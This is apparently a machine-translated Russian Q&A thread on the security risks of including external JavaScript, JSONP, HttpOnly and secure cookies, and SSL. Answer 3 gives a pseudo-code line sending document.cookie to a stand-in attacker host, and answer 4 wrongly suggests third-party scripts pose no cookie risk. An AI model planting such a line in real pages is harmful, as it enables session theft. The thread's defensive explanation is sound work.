При связывании с внешним .js файлом это не риск для безопасности?

Ответ 1

Если вы включаете Javascript или код JSONP из другого домена, этот код имеет полную клиентскую силу и может делать все, что захочет.
Он может отправлять запросы AJAX автоматически, чтобы ваш пользователь делал что-то, и он может украсть document.cookie.

Если ваши файлы cookie для проверки подлинности являются только HTTP-протоколами, он не может их украсть, но он все равно может выдавать себя за пользователя, использующего AJAX.

Никогда не включайте JS файл из домена, которому вы не доверяете.

Если ваша страница использует SSL, все файлы Javascript также должны использовать SSL, или злоумышленник может изменить незашифрованный Javascript, чтобы делать все, что он хочет.
По этой причине браузеры покажут предупреждение о безопасности, если страница SSL использует ресурсы, отличные от SSL.

Обратите внимание, что JSONP не является исключением из этого правила.
Любой ответ JSONP имеет полный доступ к вашему DOM.
Если безопасность является проблемой, не используйте ненадежные API-интерфейсы JSONP.

Ответ 2

Я могу согласиться только с SLaks и Haochi (+1 и все).

Это крайне небезопасно, и вы должны никогда не делать это, даже если вы доверяете домену. Не верьте ответам, которые говорят вам, что это не так, потому что они просто ошибаются.

Вот почему теперь буквально все ссылок на библиотеки JavaScript, размещенные в Google CDN в Руководстве для разработчиков API Google Libraries API, являются безопасными HTTPS, хотя шифрование всего этого трафика означает огромные издержки даже для Google.

Они использовали рекомендации HTTPS только для сайтов, которые сами используют HTTPS, теперь в примерах нет ссылок на HTTP.

Дело в том, что вы можете доверять Google и их CDN, но вы никогда не сможете доверять локальным dns и маршрутизаторам в каком-то бедном кафе, которое ваши посетители могут подключаться к вашему сайту, а Google CDN - отличная цель по очевидным причинам.

Ответ 3

Это зависит от того, что вы подразумеваете под "тягой". Как говорили другие, cookie отправляется только туда, откуда оно было. Тем не менее, сторонний (с вредоносным намерением) файл все равно может отправить ваши файлы cookie обратно на свой сервер, выполнив код JavaScript, например

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

Итак, включите только сценарии из надежных источников (Google, Facebook и т.д.)

Ответ 4

Нет, поскольку файлы cookie для вашего сайта будут отправляться только в ваш домен.

Например, когда ваш браузер видит yoursite.com, он отправит файл cookie для проверки подлинности yoursite.com. Если он также должен сделать другой запрос jQuery (для .js script), он не отправит файл cookie для вашего сайта (но он отправит куки файл jquery - если он существует).

Помните, что каждый ресурс является отдельным запросом по HTTP.

Ответ 5

Я не уверен, что HttpOnly полностью поддерживается во всех браузерах, поэтому я не стал бы доверять ему, чтобы предотвратить атаки сам по себе.

Если вас беспокоит сторонний злоумышленник (т.е. не сайт, предлагающий JS файл), захватывающий куки файлы, обязательно используйте SSL и безопасные куки файлы.

Если ваша страница не запущена на SSL, использование файлов cookie HttpOnly фактически не предотвращает атаку "человек в середине", так как злоумышленник посередине может перехватывать файлы cookie независимо от того, что вы просто претендуете на роль своего домена.

Если вы не доверяете хосту внешнего .js файла, не используйте внешний .js файл. Внешний файл js может переписать всю DOM страницы, чтобы попросить, чтобы CC был представлен кому-либо, и посмотрите (среднему пользователю) так же, как и ваша собственная страница, так что вы в значительной степени обречены, если получаете злонамеренные .js. Если вы не уверены, что хост .js заслуживает доверия, разместите его локально (и проверьте файл на наличие дыр в безопасности) или вообще не используйте его. Обычно я предпочитаю последний.

В конкретном случае JQuery просто используйте копию в Google CDN, если вы не можете найти нужную вам копию.

Ответ 6

Файлы cookie являются специфичными для домена, охраняются одной политикой происхождения.